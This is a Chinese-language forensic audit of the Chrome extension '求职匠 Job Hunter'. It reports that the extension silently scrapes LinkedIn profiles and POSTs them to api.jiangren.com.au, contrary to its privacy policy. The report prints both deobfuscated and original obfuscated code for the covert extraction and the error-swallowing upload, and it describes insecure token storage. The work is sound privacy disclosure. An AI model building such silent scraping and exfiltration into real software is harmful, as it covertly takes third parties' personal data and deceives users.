JR Academy (匠人学院) Chrome extension 求职匠 Job Hunter silently uploads every LinkedIn profile you visit to api.jiangren.com.au. Full source code forensic analysis with reproducible evidence.
审计对象:求职匠 Job Hunter v0.9.18(Chrome Web Store ID:
kbecnmcienhaopoibckmbijngmcakplf)开发者:JR Academy Pty Ltd(https://jiangren.com.au),澳洲匠人学院
审计方法:从 Chrome Web Store 下载 CRX 包,解压后对全部 JS 源码进行静态分析
审计原则:本报告仅记录可从源代码中直接验证的事实,不做推测
求职匠 Job Hunter 是由 JR Academy(匠人学院) 开发的 Chrome 浏览器扩展,声称提供 AI 求职辅助功能。然而,对其源代码的完整审计揭示了一个隐藏的自动数据外传机制:当安装了该扩展的用户浏览任何 LinkedIn 个人资料页面时,扩展会在完全无需用户操作的情况下,自动提取该页面上的完整个人资料数据(姓名、工作经历、教育背景、技能等 15+ 个字段),并通过 HTTP POST 请求静默上传至 api.jiangren.com.au。
JR Academy 自身的隐私政策明确声明:
“We do not passively monitor your browsing activity”(我们不会被动监控你的浏览活动)
“Content extraction occur only when you explicitly trigger them”(内容提取仅在你主动触发时才会发生)
源代码证明事实恰恰相反。
| English Version | 繁體中文版 |
Service Worker 中存在一个数据上报函数(混淆后为 R()),功能为将 LinkedIn 个人资料数据通过 POST 请求发送至 JR Academy 的后端服务器:
// 反混淆后的等价逻辑
let lastReportedUrl = "";
let lastReportedTime = 0;
function reportProfileToServer(profileData) {
if (!profileData?.name || !profileData?.profileUrl) return;
const url = profileData.profileUrl;
const now = Date.now();
// 节流:相同 URL 10 秒内不重复上报
if (url === lastReportedUrl && now - lastReportedTime < 10000) return;
lastReportedUrl = url;
lastReportedTime = now;
getAuthHeaders().then(headers => {
// 仅在用户已登录时上传
headers.Authorization && fetch(
"https://api.jiangren.com.au/ai-tutor/linkedin-profile",
{
method: "POST",
headers: headers,
body: JSON.stringify(profileData) // 完整个人资料对象
}
).catch(() => {}) // 静默吞掉所有错误
}).catch(() => {})
}
原始混淆代码(可在解压后的 CRX 中搜索验证 — 文件 assets/service-worker.ts-BSerYTM6.js):
function R(e){if(!(e!=null&&e.name)||!(e!=null&&e.profileUrl))return;const t=e.profileUrl,a=Date.now();t===J&&a-j<1e4||(J=t,j=a,m().then(r=>{r.Authorization&&fetch(y("/ai-tutor/linkedin-profile"),{method:"POST",headers:r,body:JSON.stringify(e)}).catch(()=>{})}).catch(()=>{}))}
其中 y() 函数定义为:
const me = "https://api.jiangren.com.au";
function y(e) { return `${me}${e}` }
该上传函数的核心调用位于 PAGE_TYPE_CHANGED 消息处理器中 — 当用户浏览任何 LinkedIn 个人资料页面时自动触发:
// 反混淆后的等价逻辑
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.type === "PAGE_TYPE_CHANGED") {
const tabId = sender.tab?.id;
// 当页面类型为 "profile" — 延迟 3 秒后触发
message.payload.pageType === "profile" && tabId && setTimeout(() => {
chrome.tabs.sendMessage(tabId, { type: "EXTRACT_PROFILE_DATA" })
.then(result => {
result?.profileData && reportProfileToServer(result.profileData)
})
.catch(() => {})
}, 3000)
return false;
}
});
原始混淆代码:
if(e.type==="PAGE_TYPE_CHANGED"){const i=(o=t.tab)==null?void 0:o.id;return i!==void 0&&(q.set(i,e.payload.pageType),chrome.runtime.sendMessage({type:"PAGE_TYPE_CHANGED",payload:e.payload}).catch(()=>{}),e.payload.pageType==="profile"&&i&&setTimeout(()=>{chrome.tabs.sendMessage(i,{type:"EXTRACT_PROFILE_DATA"}).then(l=>{l!=null&&l.profileData&&R(l.profileData)}).catch(()=>{})},3e3)),!1}
profileData 对象包含以下字段:
{
name: "完整姓名",
headline: "职业头衔",
about: "完整的「关于」部分文本",
location: "所在地",
profileUrl: "https://www.linkedin.com/in/...",
isOwnProfile: true/false,
experience: [{ title, company, duration, description, isCurrent }],
education: [{ school, degree, field, years }],
skills: ["技能1", "技能2", ...],
certifications: [...], // 专业认证
languages: [...], // 语言能力
volunteerExperience: [...], // 志愿者经历
profileImageUrl: "https://...", // 头像 URL
connectionLevel: "1st/2nd/3rd", // 人脉关系级别
connections: "500+ connections"
}
这不是摘要 — 而是涵盖 15+ 个数据字段的完整个人资料提取。
用户浏览任何 LinkedIn 个人资料页面
|
v
Content Script 检测到 URL 匹配 linkedin.com/in/*
|
v
发送 PAGE_TYPE_CHANGED { pageType: "profile" } 至 Service Worker
|
v
Service Worker 等待 3 秒(setTimeout 3000ms)
|
v
向 Content Script 发送 EXTRACT_PROFILE_DATA 指令
|
v
Profile Extractor 解析整个页面 DOM
|
v
Service Worker 收到完整的 profileData 对象
|
v
R() 将完整 JSON 通过 POST 发送至 https://api.jiangren.com.au/ai-tutor/linkedin-profile
|
v
.catch(() => {}) — 用户看不到任何东西,完全不知情
整个过程中零用户交互。
Service Worker 中还包含一个校友检查函数(混淆后为 _e()),在用户每次浏览 LinkedIn 个人资料页面时,自动向 JR Academy 后端发送被浏览者的 URL 和姓名:
async function checkAlumni(linkedinUrl, name) {
const params = new URLSearchParams({ linkedinUrl, name });
const response = await fetch(
`https://api.jiangren.com.au/ai-tutor/alumni/check?${params}`,
{ headers: authHeaders }
);
}
此查询由 Content Script 自动发起,无需用户操作。后端因此可记录每个扩展用户浏览过的所有 LinkedIn 个人资料。
JR Academy 的隐私政策(最后更新日期 2026 年 3 月 16 日,Wayback Machine 存档)做出了以下声明,每一条都被代码直接推翻。
| 隐私政策声明 | 代码事实 |
|---|---|
| “We do not passively monitor your browsing activity.” | PAGE_TYPE_CHANGED 处理器在用户仅仅浏览 LinkedIn 个人资料时就自动提取并上传数据,无需点击、无需快捷键、无需同意。 |
| “No background data collection, automatic screenshots, or passive browsing monitoring occurs.” | 整个 PAGE_TYPE_CHANGED → 3 秒延迟 → EXTRACT_PROFILE_DATA → R() 链条完全在后台执行,零用户交互。 |
| 隐私政策声明 | 代码事实 |
|---|---|
| “Our Chrome browser extensions collect additional data only when you actively use their features.” | 触发条件是 URL 模式匹配,不是用户操作。 |
| “Content extraction occur only when you explicitly trigger them (e.g., pressing a keyboard shortcut or clicking a button).” | 从 PAGE_TYPE_CHANGED 到 R() 的代码路径中不存在任何用户交互检查 — 没有 confirm()、没有点击监听器、没有快捷键检测。 |
| 隐私政策声明 | 代码事实 |
|---|---|
| 数据采集范围:“Job posting content from supported job sites; current page URL” | 实际上传:完整姓名、头衔、简介、所在地、完整工作经历、教育背景、技能、认证、语言、志愿者经历、头像、人脉级别 — 15+ 个数据字段,全部未披露 |
隐私政策仅描述对扩展用户本人数据的采集,从未提及会采集第三方 LinkedIn 用户的个人信息。
isOwnProfile 字段的存在证明开发者明确区分了”自己的页面”和”他人的页面”。然而上传函数 R() 并不检查此字段 — 所有个人资料都被一律上传。
认证 token 以 SameSite=None 存储,允许任何第三方网站跨站携带。用户信息以明文 JSON 编码存入 Cookie,有效期 30 天。Session Storage 访问级别被设为 TRUSTED_AND_UNTRUSTED_CONTEXTS,允许 Content Scripts 访问。
详见 英文版对应章节 中的完整代码。
为维护报告公信力,以下模块经代码验证为纯本地功能,不存在自动回传后端的行为:
| 模块 | 是否调用后端 API? | 结论 |
|---|---|---|
| 人脉提取 + 分类 | 否 | 本地功能 |
| 消息提取 + 分类 | 否 | 本地功能 |
| 动态流扫描 | 否 | 本地功能 |
| 公司信息提取 | 否 | 本地功能 |
| 快速回复模板 | 否 | 本地功能 |
| 帖子注入 | 否 | 本地功能 |
| 职位收藏(右键菜单) | 是,但为用户主动触发 | 合理功能 |
此案例揭示了一个被低估的攻击面:利用扩展用户作为不知情的数据采集代理节点。 与传统爬虫不同,此模式可绕过反机器人防护、分散 IP、利用已认证 Session,且采集能力随安装量线性增长。
假设有 1,000 名活跃用户,每人每天浏览 10 个 LinkedIn 个人资料,后端每天可累积 10,000 份完整的职业个人资料 — 零基础设施成本。
所有发现均可在 5 分钟内独立验证。详见 英文版验证指南 或直接运行:
curl -L -o extension.crx \
"https://clients2.google.com/service/update2/crx?response=redirect&prodversion=131.0.0.0&acceptformat=crx2,crx3&x=id%3Dkbecnmcienhaopoibckmbijngmcakplf%26uc"
python3 extract.py extension.crx
./verify.sh source/
| 日期 | 行动 |
|---|---|
| 2026-04-03 | 源代码审计完成 |
| 2026-04-03 | 向 Google Chrome Web Store 及 LinkedIn Trust & Safety 提交举报 |
| 2026-04-03 | 公开披露 |
| 待定 | 向 JR Academy 提交正式隐私投诉(privacy@jiangren.com.au) |
| +30 天 | 向 OAIC(澳洲信息专员办公室)提出申诉 |
本分析通过对 Chrome Web Store 公开包的静态代码审查进行。未进行动态测试、后端 API 逆向工程或任何未授权访问。CRX 文件可通过 Google 的 update API 公开下载 — 解压并分析它们是标准的安全研究实践。
本仓库不会被维护者主动删除或设为私有。如果本仓库在任何时候变得无法访问,应视为受到外部施压、法律威胁或其他不可抗力因素所致,而非维护者主动撤回报告内容。
作者对本报告中记录的每一项技术事实负责。所有发现均可通过所附的证据和脚本独立验证。
建议读者 Fork 本仓库,以确保信息持续可用。
本报告以 CC BY 4.0 许可发布。您可以在注明出处的前提下自由分享和改编本报告。